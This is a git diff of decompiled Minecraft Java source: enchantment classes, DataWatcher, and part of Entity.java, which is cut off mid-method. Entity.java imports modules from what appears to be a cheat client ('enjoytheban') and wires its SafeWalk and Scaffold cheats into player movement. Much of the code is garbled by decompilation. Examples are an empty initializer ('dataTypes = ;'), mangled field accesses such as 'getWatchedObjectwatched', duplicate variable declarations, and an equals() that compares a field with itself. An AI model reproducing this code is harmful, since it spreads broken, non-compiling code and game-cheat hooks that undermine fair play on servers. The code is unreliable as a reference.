+    Random var4 = p_151367_1_.getRNG();
+    ItemStack var5 = EnchantmentHelper.func_92099_a(Enchantment.thorns, p_151367_1_);
+    
+    if (func_92094_a(p_151367_3_, var4))
+    {
+      p_151367_2_.attackEntityFrom(DamageSource.causeThornsDamage(p_151367_1_), func_92095_b(p_151367_3_, var4));
+      p_151367_2_.playSound("damage.thorns", 0.5F, 1.0F);
+      
+      if (var5 != null)
+      {
+        var5.damageItem(3, p_151367_1_);
+      }
+    }
+    else if (var5 != null)
+    {
+      var5.damageItem(1, p_151367_1_);
+    }
+  }
+  
+  public static boolean func_92094_a(int p_92094_0_, Random p_92094_1_)
+  {
+    return p_92094_0_ > 0;
+  }
+  
+  public static int func_92095_b(int p_92095_0_, Random p_92095_1_)
+  {
+    return p_92095_0_ > 10 ? p_92095_0_ - 10 : 1 + p_92095_1_.nextInt(4);
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentUntouching.java b/src/minecraft/net/minecraft/enchantment/EnchantmentUntouching.java
new file mode 100644
index 0000000..be02946
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentUntouching.java
@@ -0,0 +1,53 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentUntouching extends Enchantment
+{
+  private static final String __OBFID = "CL_00000123";
+  
+  protected EnchantmentUntouching(int p_i45763_1_, ResourceLocation p_i45763_2_, int p_i45763_3_)
+  {
+    super(p_i45763_1_, p_i45763_2_, p_i45763_3_, EnumEnchantmentType.DIGGER);
+    setName("untouching");
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 15;
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return super.getMinEnchantability(p_77317_1_) + 50;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 1;
+  }
+  
+
+
+
+  public boolean canApplyTogether(Enchantment p_77326_1_)
+  {
+    return (super.canApplyTogether(p_77326_1_)) && (effectId != fortuneeffectId);
+  }
+  
+  public boolean canApply(ItemStack p_92089_1_)
+  {
+    return p_92089_1_.getItem() == Items.shears ? true : super.canApply(p_92089_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentWaterWalker.java b/src/minecraft/net/minecraft/enchantment/EnchantmentWaterWalker.java
new file mode 100644
index 0000000..c319268
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentWaterWalker.java
@@ -0,0 +1,38 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentWaterWalker extends Enchantment
+{
+  private static final String __OBFID = "CL_00002155";
+  
+  public EnchantmentWaterWalker(int p_i45762_1_, ResourceLocation p_i45762_2_, int p_i45762_3_)
+  {
+    super(p_i45762_1_, p_i45762_2_, p_i45762_3_, EnumEnchantmentType.ARMOR_FEET);
+    setName("waterWalker");
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return p_77321_1_ * 10;
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return getMinEnchantability(p_77317_1_) + 15;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 3;
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentWaterWorker.java b/src/minecraft/net/minecraft/enchantment/EnchantmentWaterWorker.java
new file mode 100644
index 0000000..7927707
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentWaterWorker.java
@@ -0,0 +1,38 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentWaterWorker extends Enchantment
+{
+  private static final String __OBFID = "CL_00000124";
+  
+  public EnchantmentWaterWorker(int p_i45761_1_, ResourceLocation p_i45761_2_, int p_i45761_3_)
+  {
+    super(p_i45761_1_, p_i45761_2_, p_i45761_3_, EnumEnchantmentType.ARMOR_HEAD);
+    setName("waterWorker");
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 1;
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return getMinEnchantability(p_77317_1_) + 40;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnumEnchantmentType.java b/src/minecraft/net/minecraft/enchantment/EnumEnchantmentType.java
new file mode 100644
index 0000000..de5c9fa
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnumEnchantmentType.java
@@ -0,0 +1,58 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemArmor;
+
+
+
+
+
+public enum EnumEnchantmentType
+{
+  ALL("ALL", 0), 
+  ARMOR("ARMOR", 1), 
+  ARMOR_FEET("ARMOR_FEET", 2), 
+  ARMOR_LEGS("ARMOR_LEGS", 3), 
+  ARMOR_TORSO("ARMOR_TORSO", 4), 
+  ARMOR_HEAD("ARMOR_HEAD", 5), 
+  WEAPON("WEAPON", 6), 
+  DIGGER("DIGGER", 7), 
+  FISHING_ROD("FISHING_ROD", 8), 
+  BREAKABLE("BREAKABLE", 9), 
+  BOW("BOW", 10);
+  
+  private static final EnumEnchantmentType[] $VALUES = { ALL, ARMOR, ARMOR_FEET, ARMOR_LEGS, ARMOR_TORSO, ARMOR_HEAD, WEAPON, DIGGER, FISHING_ROD, BREAKABLE, BOW };
+  
+  private static final String __OBFID = "CL_00000106";
+  
+
+  private EnumEnchantmentType(String p_i1927_1_, int p_i1927_2_) {}
+  
+
+  public boolean canEnchantItem(Item p_77557_1_)
+  {
+    if (this == ALL)
+    {
+      return true;
+    }
+    if ((this == BREAKABLE) && (p_77557_1_.isDamageable()))
+    {
+      return true;
+    }
+    if ((p_77557_1_ instanceof ItemArmor))
+    {
+      if (this == ARMOR)
+      {
+        return true;
+      }
+      
+
+      ItemArmor var2 = (ItemArmor)p_77557_1_;
+      return this == ARMOR_HEAD;
+    }
+    
+
+
+    return this == WEAPON;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/DataWatcher.java b/src/minecraft/net/minecraft/entity/DataWatcher.java
new file mode 100644
index 0000000..e5e5ad8
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/DataWatcher.java
@@ -0,0 +1,476 @@
+package net.minecraft.entity;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReadWriteLock;
+import java.util.concurrent.locks.ReentrantReadWriteLock;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ReportedException;
+import net.minecraft.util.Rotations;
+import org.apache.commons.lang3.ObjectUtils;
+
+public class DataWatcher
+{
+  private final Entity owner;
+  private boolean isBlank = true;
+  private static final Map dataTypes = ;
+  private final Map watchedObjects = Maps.newHashMap();
+  
+  private boolean objectChanged;
+  
+  private ReadWriteLock lock = new ReentrantReadWriteLock();
+  private static final String __OBFID = "CL_00001559";
+  
+  public DataWatcher(Entity owner)
+  {
+    this.owner = owner;
+  }
+  
+
+
+
+
+  public void addObject(int id, Object object)
+  {
+    Integer var3 = (Integer)dataTypes.get(object.getClass());
+    
+    if (var3 == null)
+    {
+      throw new IllegalArgumentException("Unknown data type: " + object.getClass());
+    }
+    if (id > 31)
+    {
+      throw new IllegalArgumentException("Data value id is too big with " + id + "! (Max is " + 31 + ")");
+    }
+    if (watchedObjects.containsKey(Integer.valueOf(id)))
+    {
+      throw new IllegalArgumentException("Duplicate id value for " + id + "!");
+    }
+    
+
+    WatchableObject var4 = new WatchableObject(var3.intValue(), id, object);
+    lock.writeLock().lock();
+    watchedObjects.put(Integer.valueOf(id), var4);
+    lock.writeLock().unlock();
+    isBlank = false;
+  }
+  
+
+
+
+
+  public void addObjectByDataType(int id, int type)
+  {
+    WatchableObject var3 = new WatchableObject(type, id, null);
+    lock.writeLock().lock();
+    watchedObjects.put(Integer.valueOf(id), var3);
+    lock.writeLock().unlock();
+    isBlank = false;
+  }
+  
+
+
+
+  public byte getWatchableObjectByte(int id)
+  {
+    return ((Byte)getWatchedObject(id).getObject()).byteValue();
+  }
+  
+  public short getWatchableObjectShort(int id)
+  {
+    return ((Short)getWatchedObject(id).getObject()).shortValue();
+  }
+  
+
+
+
+  public int getWatchableObjectInt(int id)
+  {
+    return ((Integer)getWatchedObject(id).getObject()).intValue();
+  }
+  
+  public float getWatchableObjectFloat(int id)
+  {
+    return ((Float)getWatchedObject(id).getObject()).floatValue();
+  }
+  
+
+
+
+  public String getWatchableObjectString(int id)
+  {
+    return (String)getWatchedObject(id).getObject();
+  }
+  
+
+
+
+  public ItemStack getWatchableObjectItemStack(int id)
+  {
+    return (ItemStack)getWatchedObject(id).getObject();
+  }
+  
+
+
+
+  private WatchableObject getWatchedObject(int id)
+  {
+    lock.readLock().lock();
+    
+
+    try
+    {
+      var2 = (WatchableObject)watchedObjects.get(Integer.valueOf(id));
+    }
+    catch (Throwable var6) {
+      WatchableObject var2;
+      CrashReport var4 = CrashReport.makeCrashReport(var6, "Getting synched entity data");
+      CrashReportCategory var5 = var4.makeCategory("Synched entity data");
+      var5.addCrashSection("Data ID", Integer.valueOf(id));
+      throw new ReportedException(var4);
+    }
+    WatchableObject var2;
+    lock.readLock().unlock();
+    return var2;
+  }
+  
+  public Rotations getWatchableObjectRotations(int id)
+  {
+    return (Rotations)getWatchedObject(id).getObject();
+  }
+  
+
+
+
+  public void updateObject(int id, Object newData)
+  {
+    WatchableObject var3 = getWatchedObject(id);
+    
+    if (ObjectUtils.notEqual(newData, var3.getObject()))
+    {
+      var3.setObject(newData);
+      owner.func_145781_i(id);
+      var3.setWatched(true);
+      objectChanged = true;
+    }
+  }
+  
+  public void setObjectWatched(int id)
+  {
+    getWatchedObjectwatched = true;
+    objectChanged = true;
+  }
+  
+
+
+
+  public boolean hasObjectChanged()
+  {
+    return objectChanged;
+  }
+  
+
+
+
+  public static void writeWatchedListToPacketBuffer(List objectsList, PacketBuffer buffer)
+    throws IOException
+  {
+    if (objectsList != null)
+    {
+      Iterator var2 = objectsList.iterator();
+      
+      while (var2.hasNext())
+      {
+        WatchableObject var3 = (WatchableObject)var2.next();
+        writeWatchableObjectToPacketBuffer(buffer, var3);
+      }
+    }
+    
+    buffer.writeByte(127);
+  }
+  
+  public List getChanged()
+  {
+    ArrayList var1 = null;
+    
+    if (objectChanged)
+    {
+      lock.readLock().lock();
+      Iterator var2 = watchedObjects.values().iterator();
+      
+      while (var2.hasNext())
+      {
+        WatchableObject var3 = (WatchableObject)var2.next();
+        
+        if (var3.isWatched())
+        {
+          var3.setWatched(false);
+          
+          if (var1 == null)
+          {
+            var1 = Lists.newArrayList();
+          }
+          
+          var1.add(var3);
+        }
+      }
+      
+      lock.readLock().unlock();
+    }
+    
+    objectChanged = false;
+    return var1;
+  }
+  
+  public void writeTo(PacketBuffer buffer) throws IOException
+  {
+    lock.readLock().lock();
+    Iterator var2 = watchedObjects.values().iterator();
+    
+    while (var2.hasNext())
+    {
+      WatchableObject var3 = (WatchableObject)var2.next();
+      writeWatchableObjectToPacketBuffer(buffer, var3);
+    }
+    
+    lock.readLock().unlock();
+    buffer.writeByte(127);
+  }
+  
+  public List getAllWatched()
+  {
+    ArrayList var1 = null;
+    lock.readLock().lock();
+    
+    WatchableObject var3;
+    for (Iterator var2 = watchedObjects.values().iterator(); var2.hasNext(); var1.add(var3))
+    {
+      var3 = (WatchableObject)var2.next();
+      
+      if (var1 == null)
+      {
+        var1 = Lists.newArrayList();
+      }
+    }
+    
+    lock.readLock().unlock();
+    return var1;
+  }
+  
+
+
+
+  private static void writeWatchableObjectToPacketBuffer(PacketBuffer buffer, WatchableObject object)
+    throws IOException
+  {
+    int var2 = (object.getObjectType() << 5 | object.getDataValueId() & 0x1F) & 0xFF;
+    buffer.writeByte(var2);
+    
+    switch (object.getObjectType())
+    {
+    case 0: 
+      buffer.writeByte(((Byte)object.getObject()).byteValue());
+      break;
+    
+    case 1: 
+      buffer.writeShort(((Short)object.getObject()).shortValue());
+      break;
+    
+    case 2: 
+      buffer.writeInt(((Integer)object.getObject()).intValue());
+      break;
+    
+    case 3: 
+      buffer.writeFloat(((Float)object.getObject()).floatValue());
+      break;
+    
+    case 4: 
+      buffer.writeString((String)object.getObject());
+      break;
+    
+    case 5: 
+      ItemStack var3 = (ItemStack)object.getObject();
+      buffer.writeItemStackToBuffer(var3);
+      break;
+    
+    case 6: 
+      BlockPos var4 = (BlockPos)object.getObject();
+      buffer.writeInt(var4.getX());
+      buffer.writeInt(var4.getY());
+      buffer.writeInt(var4.getZ());
+      break;
+    
+    case 7: 
+      Rotations var5 = (Rotations)object.getObject();
+      buffer.writeFloat(var5.func_179415_b());
+      buffer.writeFloat(var5.func_179416_c());
+      buffer.writeFloat(var5.func_179413_d());
+    }
+    
+  }
+  
+
+
+  public static List readWatchedListFromPacketBuffer(PacketBuffer buffer)
+    throws IOException
+  {
+    ArrayList var1 = null;
+    
+    for (byte var2 = buffer.readByte(); var2 != Byte.MAX_VALUE; var2 = buffer.readByte())
+    {
+      if (var1 == null)
+      {
+        var1 = Lists.newArrayList();
+      }
+      
+      int var3 = (var2 & 0xE0) >> 5;
+      int var4 = var2 & 0x1F;
+      WatchableObject var5 = null;
+      
+      switch (var3)
+      {
+      case 0: 
+        var5 = new WatchableObject(var3, var4, Byte.valueOf(buffer.readByte()));
+        break;
+      
+      case 1: 
+        var5 = new WatchableObject(var3, var4, Short.valueOf(buffer.readShort()));
+        break;
+      
+      case 2: 
+        var5 = new WatchableObject(var3, var4, Integer.valueOf(buffer.readInt()));
+        break;
+      
+      case 3: 
+        var5 = new WatchableObject(var3, var4, Float.valueOf(buffer.readFloat()));
+        break;
+      
+      case 4: 
+        var5 = new WatchableObject(var3, var4, buffer.readStringFromBuffer(32767));
+        break;
+      
+      case 5: 
+        var5 = new WatchableObject(var3, var4, buffer.readItemStackFromBuffer());
+        break;
+      
+      case 6: 
+        int var6 = buffer.readInt();
+        int var7 = buffer.readInt();
+        int var8 = buffer.readInt();
+        var5 = new WatchableObject(var3, var4, new BlockPos(var6, var7, var8));
+        break;
+      
+      case 7: 
+        float var9 = buffer.readFloat();
+        float var10 = buffer.readFloat();
+        float var11 = buffer.readFloat();
+        var5 = new WatchableObject(var3, var4, new Rotations(var9, var10, var11));
+      }
+      
+      var1.add(var5);
+    }
+    
+    return var1;
+  }
+  
+  public void updateWatchedObjectsFromList(List p_75687_1_)
+  {
+    lock.writeLock().lock();
+    Iterator var2 = p_75687_1_.iterator();
+    
+    while (var2.hasNext())
+    {
+      WatchableObject var3 = (WatchableObject)var2.next();
+      WatchableObject var4 = (WatchableObject)watchedObjects.get(Integer.valueOf(var3.getDataValueId()));
+      
+      if (var4 != null)
+      {
+        var4.setObject(var3.getObject());
+        owner.func_145781_i(var3.getDataValueId());
+      }
+    }
+    
+    lock.writeLock().unlock();
+    objectChanged = true;
+  }
+  
+  public boolean getIsBlank()
+  {
+    return isBlank;
+  }
+  
+  public void func_111144_e()
+  {
+    objectChanged = false;
+  }
+  
+  static
+  {
+    dataTypes.put(Byte.class, Integer.valueOf(0));
+    dataTypes.put(Short.class, Integer.valueOf(1));
+    dataTypes.put(Integer.class, Integer.valueOf(2));
+    dataTypes.put(Float.class, Integer.valueOf(3));
+    dataTypes.put(String.class, Integer.valueOf(4));
+    dataTypes.put(ItemStack.class, Integer.valueOf(5));
+    dataTypes.put(BlockPos.class, Integer.valueOf(6));
+    dataTypes.put(Rotations.class, Integer.valueOf(7));
+  }
+  
+  public static class WatchableObject
+  {
+    private final int objectType;
+    private final int dataValueId;
+    private Object watchedObject;
+    private boolean watched;
+    private static final String __OBFID = "CL_00001560";
+    
+    public WatchableObject(int type, int id, Object object)
+    {
+      dataValueId = id;
+      watchedObject = object;
+      objectType = type;
+      watched = true;
+    }
+    
+    public int getDataValueId()
+    {
+      return dataValueId;
+    }
+    
+    public void setObject(Object object)
+    {
+      watchedObject = object;
+    }
+    
+    public Object getObject()
+    {
+      return watchedObject;
+    }
+    
+    public int getObjectType()
+    {
+      return objectType;
+    }
+    
+    public boolean isWatched()
+    {
+      return watched;
+    }
+    
+    public void setWatched(boolean watched)
+    {
+      this.watched = watched;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/Entity.java b/src/minecraft/net/minecraft/entity/Entity.java
new file mode 100644
index 0000000..4506d57
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/Entity.java
@@ -0,0 +1,2841 @@
+package net.minecraft.entity;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.modules.movement.Scaffold;
+import com.enjoytheban.utils.math.Vec2f;
+import com.enjoytheban.utils.math.Vec3f;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import java.util.UUID;
+import java.util.concurrent.Callable;
+import net.minecraft.block.Block;
+import net.minecraft.block.Block.SoundType;
+import net.minecraft.block.BlockFence;
+import net.minecraft.block.BlockFenceGate;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.command.CommandResultStats;
+import net.minecraft.command.CommandResultStats.Type;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.enchantment.EnchantmentProtection;
+import net.minecraft.entity.effect.EntityLightningBolt;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.event.HoverEvent;
+import net.minecraft.event.HoverEvent.Action;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.ReportedException;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.Explosion;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.storage.WorldInfo;
+
+public abstract class Entity implements ICommandSender
+{
+  private static final AxisAlignedBB field_174836_a = new AxisAlignedBB(0.0D, 0.0D, 0.0D, 0.0D, 0.0D, 0.0D);
+  
+
+  private static int nextEntityID;
+  
+
+  private int entityId;
+  
+
+  public double renderDistanceWeight;
+  
+
+  public boolean preventEntitySpawning;
+  
+
+  public Entity riddenByEntity;
+  
+
+  public Entity ridingEntity;
+  
+
+  public boolean forceSpawn;
+  
+
+  public World worldObj;
+  
+
+  public double prevPosX;
+  
+
+  public double prevPosY;
+  
+
+  public double prevPosZ;
+  
+
+  public double posX;
+  
+
+  public double posY;
+  
+
+  public double posZ;
+  
+
+  public double motionX;
+  
+
+  public double motionY;
+  
+
+  public double motionZ;
+  
+
+  public float rotationYaw;
+  
+
+  public float rotationPitch;
+  
+
+  public float prevRotationYaw;
+  
+
+  public float prevRotationPitch;
+  
+
+  public AxisAlignedBB boundingBox;
+  
+  public boolean onGround;
+  
+  public boolean isCollidedHorizontally;
+  
+  public boolean isCollidedVertically;
+  
+  public boolean isCollided;
+  
+  public boolean velocityChanged;
+  
+  protected boolean isInWeb;
+  
+  private boolean isOutsideBorder;
+  
+  public boolean isDead;
+  
+  public float width;
+  
+  public float height;
+  
+  public float prevDistanceWalkedModified;
+  
+  public float distanceWalkedModified;
+  
+  public float distanceWalkedOnStepModified;
+  
+  public float fallDistance;
+  
+  private int nextStepDistance;
+  
+  public double lastTickPosX;
+  
+  public double lastTickPosY;
+  
+  public double lastTickPosZ;
+  
+  public float stepHeight;
+  
+  public boolean noClip;
+  
+  public float entityCollisionReduction;
+  
+  protected Random rand;
+  
+  public int ticksExisted;
+  
+  public int fireResistance;
+  
+  private int fire;
+  
+  protected boolean inWater;
+  
+  public int hurtResistantTime;
+  
+  protected boolean firstUpdate;
+  
+  protected boolean isImmuneToFire;
+  
+  protected DataWatcher dataWatcher;
+  
+  private double entityRiderPitchDelta;
+  
+  private double entityRiderYawDelta;
+  
+  public boolean addedToChunk;
+  
+  public int chunkCoordX;
+  
+  public int chunkCoordY;
+  
+  public int chunkCoordZ;
+  
+  public int serverPosX;
+  
+  public int serverPosY;
+  
+  public int serverPosZ;
+  
+  public boolean ignoreFrustumCheck;
+  
+  public boolean isAirBorne;
+  
+  public int timeUntilPortal;
+  
+  protected boolean inPortal;
+  
+  protected int portalCounter;
+  
+  public int dimension;
+  
+  protected int teleportDirection;
+  
+  private boolean invulnerable;
+  
+  protected UUID entityUniqueID;
+  
+  private final CommandResultStats field_174837_as;
+  
+  private static final String __OBFID = "CL_00001533";
+  
+  private Vec3f pos;
+  
+  private Vec3f prevPos;
+  
+  private Vec3f lastTickPos;
+  
+  private Vec3f headPos;
+  
+  private Vec3f motion;
+  
+  private Vec2f rotation;
+  
+  private Vec2f prevRotation;
+  
+
+  public int getEntityId()
+  {
+    return entityId;
+  }
+  
+  public void setEntityId(int id)
+  {
+    entityId = id;
+  }
+  
+  public void func_174812_G()
+  {
+    setDead();
+  }
+  
+  public Entity(World worldIn)
+  {
+    entityId = (nextEntityID++);
+    renderDistanceWeight = 1.0D;
+    boundingBox = field_174836_a;
+    width = 0.6F;
+    height = 1.8F;
+    nextStepDistance = 1;
+    rand = new Random();
+    fireResistance = 1;
+    firstUpdate = true;
+    entityUniqueID = MathHelper.func_180182_a(rand);
+    field_174837_as = new CommandResultStats();
+    worldObj = worldIn;
+    setPosition(0.0D, 0.0D, 0.0D);
+    
+    if (worldIn != null)
+    {
+      dimension = provider.getDimensionId();
+    }
+    
+    dataWatcher = new DataWatcher(this);
+    dataWatcher.addObject(0, Byte.valueOf((byte)0));
+    dataWatcher.addObject(1, Short.valueOf((short)300));
+    dataWatcher.addObject(3, Byte.valueOf((byte)0));
+    dataWatcher.addObject(2, "");
+    dataWatcher.addObject(4, Byte.valueOf((byte)0));
+    entityInit();
+  }
+  
+  protected abstract void entityInit();
+  
+  public DataWatcher getDataWatcher()
+  {
+    return dataWatcher;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    return entityId == entityId;
+  }
+  
+  public int hashCode()
+  {
+    return entityId;
+  }
+  
+
+
+
+
+  protected void preparePlayerToSpawn()
+  {
+    if (worldObj != null)
+    {
+      while ((posY > 0.0D) && (posY < 256.0D))
+      {
+        setPosition(posX, posY, posZ);
+        
+        if (worldObj.getCollidingBoundingBoxes(this, getEntityBoundingBox()).isEmpty()) {
+          break;
+        }
+        
+
+        posY += 1.0D;
+      }
+      
+      motionX = (this.motionY = this.motionZ = 0.0D);
+      rotationPitch = 0.0F;
+    }
+  }
+  
+
+
+
+  public void setDead()
+  {
+    isDead = true;
+  }
+  
+
+
+
+  protected void setSize(float width, float height)
+  {
+    if ((width != this.width) || (height != this.height))
+    {
+      float var3 = this.width;
+      this.width = width;
+      this.height = height;
+      func_174826_a(new AxisAlignedBB(getEntityBoundingBoxminX, getEntityBoundingBoxminY, getEntityBoundingBoxminZ, getEntityBoundingBoxminX + this.width, getEntityBoundingBoxminY + this.height, getEntityBoundingBoxminZ + this.width));
+      
+      if ((this.width > var3) && (!firstUpdate) && (!worldObj.isRemote))
+      {
+        moveEntity(var3 - this.width, 0.0D, var3 - this.width);
+      }
+    }
+  }
+  
+
+
+
+  protected void setRotation(float yaw, float pitch)
+  {
+    rotationYaw = (yaw % 360.0F);
+    rotationPitch = (pitch % 360.0F);
+  }
+  
+
+
+
+  public void setPosition(double x, double y, double z)
+  {
+    posX = x;
+    posY = y;
+    posZ = z;
+    float var7 = width / 2.0F;
+    float var8 = height;
+    func_174826_a(new AxisAlignedBB(x - var7, y, z - var7, x + var7, y + var8, z + var7));
+  }
+  
+
+
+
+
+  public void setAngles(float yaw, float pitch)
+  {
+    float var3 = rotationPitch;
+    float var4 = rotationYaw;
+    rotationYaw = ((float)(rotationYaw + yaw * 0.15D));
+    rotationPitch = ((float)(rotationPitch - pitch * 0.15D));
+    rotationPitch = MathHelper.clamp_float(rotationPitch, -90.0F, 90.0F);
+    prevRotationPitch += rotationPitch - var3;
+    prevRotationYaw += rotationYaw - var4;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    onEntityUpdate();
+  }
+  
+
+
+
+  public void onEntityUpdate()
+  {
+    worldObj.theProfiler.startSection("entityBaseTick");
+    
+    if ((ridingEntity != null) && (ridingEntity.isDead))
+    {
+      ridingEntity = null;
+    }
+    
+    prevDistanceWalkedModified = distanceWalkedModified;
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    prevRotationPitch = rotationPitch;
+    prevRotationYaw = rotationYaw;
+    
+    if ((!worldObj.isRemote) && ((worldObj instanceof WorldServer)))
+    {
+      worldObj.theProfiler.startSection("portal");
+      MinecraftServer var1 = ((WorldServer)worldObj).func_73046_m();
+      int var2 = getMaxInPortalTime();
+      
+      if (inPortal)
+      {
+        if (var1.getAllowNether())
+        {
+          if ((ridingEntity == null) && (portalCounter++ >= var2))
+          {
+            portalCounter = var2;
+            timeUntilPortal = getPortalCooldown();
+            byte var3;
+            byte var3;
+            if (worldObj.provider.getDimensionId() == -1)
+            {
+              var3 = 0;
+            }
+            else
+            {
+              var3 = -1;
+            }
+            
+            travelToDimension(var3);
+          }
+          
+          inPortal = false;
+        }
+      }
+      else
+      {
+        if (portalCounter > 0)
+        {
+          portalCounter -= 4;
+        }
+        
+        if (portalCounter < 0)
+        {
+          portalCounter = 0;
+        }
+      }
+      
+      if (timeUntilPortal > 0)
+      {
+        timeUntilPortal -= 1;
+      }
+      
+      worldObj.theProfiler.endSection();
+    }
+    
+    func_174830_Y();
+    handleWaterMovement();
+    
+    if (worldObj.isRemote)
+    {
+      fire = 0;
+    }
+    else if (fire > 0)
+    {
+      if (isImmuneToFire)
+      {
+        fire -= 4;
+        
+        if (fire < 0)
+        {
+          fire = 0;
+        }
+      }
+      else
+      {
+        if (fire % 20 == 0)
+        {
+          attackEntityFrom(DamageSource.onFire, 1.0F);
+        }
+        
+        fire -= 1;
+      }
+    }
+    
+    if (func_180799_ab())
+    {
+      setOnFireFromLava();
+      fallDistance *= 0.5F;
+    }
+    
+    if (posY < -64.0D)
+    {
+      kill();
+    }
+    
+    if (!worldObj.isRemote)
+    {
+      setFlag(0, fire > 0);
+    }
+    
+    firstUpdate = false;
+    worldObj.theProfiler.endSection();
+  }
+  
+
+
+
+  public int getMaxInPortalTime()
+  {
+    return 0;
+  }
+  
+
+
+
+  protected void setOnFireFromLava()
+  {
+    if (!isImmuneToFire)
+    {
+      attackEntityFrom(DamageSource.lava, 4.0F);
+      setFire(15);
+    }
+  }
+  
+
+
+
+  public void setFire(int seconds)
+  {
+    int var2 = seconds * 20;
+    var2 = EnchantmentProtection.getFireTimeForEntity(this, var2);
+    
+    if (fire < var2)
+    {
+      fire = var2;
+    }
+  }
+  
+
+
+
+  public void extinguish()
+  {
+    fire = 0;
+  }
+  
+
+
+
+  protected void kill()
+  {
+    setDead();
+  }
+  
+
+
+
+  public boolean isOffsetPositionInLiquid(double x, double y, double z)
+  {
+    AxisAlignedBB var7 = getEntityBoundingBox().offset(x, y, z);
+    return func_174809_b(var7);
+  }
+  
+  private boolean func_174809_b(AxisAlignedBB p_174809_1_)
+  {
+    return (worldObj.getCollidingBoundingBoxes(this, p_174809_1_).isEmpty()) && (!worldObj.isAnyLiquid(p_174809_1_));
+  }
+  
+
+
+
+  public void moveEntity(double x, double y, double z)
+  {
+    if (noClip)
+    {
+      func_174826_a(getEntityBoundingBox().offset(x, y, z));
+      func_174829_m();
+    }
+    else
+    {
+      worldObj.theProfiler.startSection("move");
+      double var7 = posX;
+      double var9 = posY;
+      double var11 = posZ;
+      
+      if (isInWeb)
+      {
+        isInWeb = false;
+        x *= 0.25D;
+        y *= 0.05000000074505806D;
+        z *= 0.25D;
+        motionX = 0.0D;
+        motionY = 0.0D;
+        motionZ = 0.0D;
+      }
+      
+      double var13 = x;
+      double var15 = y;
+      double var17 = z;
+      boolean var19 = ((onGround) && (isSneaking())) || (Client.instance.getModuleManager().getModuleByClass(com.enjoytheban.module.modules.world.SafeWalk.class).isEnabled()) || ((Client.instance.getModuleManager().getModuleByClass(Scaffold.class).isEnabled()) && ((this instanceof EntityPlayer)));
+      
+      if (var19)
+      {
+
+
+        double var20 = 0.05D;
+        for (;;) {
+          if ((x < var20) && (x >= -var20))
+          {
+            x = 0.0D;
+          }
+          else if (x > 0.0D)
+          {
+            x -= var20;
+          }
+          else
+          {
+            x += var20;
+          }
+          var13 = x; if (x != 0.0D) { if (!worldObj.getCollidingBoundingBoxes(this, getEntityBoundingBox().offset(x, -1.0D, 0.0D)).isEmpty()) {
+              break;
+            }
+          }
+        }
+        
+
+
+
+
+
